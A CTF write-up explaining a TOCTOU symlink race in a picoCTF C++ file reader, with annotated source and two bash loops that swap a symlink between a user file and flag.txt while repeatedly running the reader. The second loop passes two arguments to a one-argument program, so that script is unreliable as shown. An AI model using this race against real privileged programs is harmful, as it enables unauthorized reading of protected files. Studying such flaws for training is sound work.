Important!
This is a writeup for a CTF challenge, so it contains spoilers. If you want to solve the challenge yourself, please stop reading now, and visit the picoCTF 2023 website instead.
The challenge
Description:
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.
C++ source code of the challenge program
reveal code
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
This is a pretty simple program, but as I’m not too familiar with C++, reading up a bit didn’t hurt.
It seems like the program takes a filename as an argument, and then opens the file in the ifstream
object. It then reads the contents of the file, and prints it to the console, but only if the file is owned by the user running the program.
Solution
If we take a closer look on the program, we see that it does the following:
- It takes a filename as an argument, which is saved in the
filename
variable. - then it copies the file properties to the
stat
buffer. - After that it checks if the file is owned by the user running the program,
- and if it is, it will open the file in the
ifstream
object.
- and if it is, it will open the file in the
- then reads the contents of the file path. This is crucial, because it will open the file in the path, not neccessarily the file checked.
Here’s the source code once more, but with my own comments:
C++ source code with comments explaining the solution
reveal code
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1]; // 1. Passer inn symlinken her - som kan peke to retninger
std::ifstream file(filename); // 2. Åpner symlinkfilen her, forhåpentligvis peker den mot flag.txt
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) { // 3. Sjekker filstatus her, men bare mot filbanen,
// så da håper vi linken peker mot vår fil (notflag.txt)
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner. // 4. Når programmet er her sjekkes
if (statbuf.st_uid != getuid()) { // eieren av filen som symlinken pekte mot
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file. // 5. Kommer vi oss hit, vil den på nytt lese filbanen til symlinken
if (file.is_open()) { // Åpne filen på symlinken, som forhåpentligvis var flagget i steg 2.
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl; // 6. Printer ut flagget / Success!
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
CODE COMMENTS
- Pass the symlink as an argument to the program
- Open the file - the symlink should point to the flag (flag.txt)
- Check the file status - but only against the filepath, our symlink, so we hope the symlink points to our file (
notflag.txt
) for the next step - Check the owner of the file the symlink points to (hopefully ours)
- Read the filepath of the symlink again, hopefully it pointed to
flag.txt
in the 2nd step. - Print the flag / Success!
As we can see, the program checks the file status and the owner of the file the symlink points to. If the file status and the owner is ok, the program will read the file and print the contents.
The name of this kind of issue if called a toctou
(Time of check / time to use) race condition. It happens when a program checks something, and then uses it. And while the program is running, there is a slight delay between the two.
If the file is changed between the check and the use, the program will use the file in an unexpected way.
With this in mind, we can solve this by creating a symlink that points to a file you own, and then pass the symlink as an argument to the program. In the short timeframe after the program has checked what it wants to check, we change the symlink to point to the flag instead. Changing symlinks like this is pretty easy to do in Linux, and below you’ll see how to do it with a bash script.
#!/bin/bash
TARGET_FILE="/home/ctf-player/flag.txt"
USER_FILE="/home/ctf-player/notflag.txt"
SYMLINK="/home/ctf-player/link"
while true; do
# Create a symlink to the user-owned file
ln -sf "$USER_FILE" "$SYMLINK"
# Replace the symlink to point to the target file
ln -sf "$TARGET_FILE" "$SYMLINK"
done
I solved this race condition by just constantly run both programs. You could be a bit more elegant, but I ran the bash script above in paralell with this one:
#!/bin/bash
SYMLINK="/home/ctf-player/link"
USER_FILE="/home/ctf-player/notflag.txt"
while true; do
./txtreader "$USER_FILE" "$SYMLINK" | tee result.txt
done
The scripts in action:
You could let this run for a little while, and then grep (grep -i pico
) the result.txt file for the flag. But it didn’t take long before the flag appeared on the screen amongst all the error messages.
Conclusion
This was a really fun challenge to solve, and it felt like I learned some stuff that I really should know, which is great. I know there’s more elegant ways to solve this, but I’m happy with my solution.
If you want to try this challenge yourself, you can find it here: https://play.picoctf.org/practice/challenge/157
And if you want to read more about the bug itself (and how to solve it), you can read this by MITRE - CWE 367 and/or on Wikipedia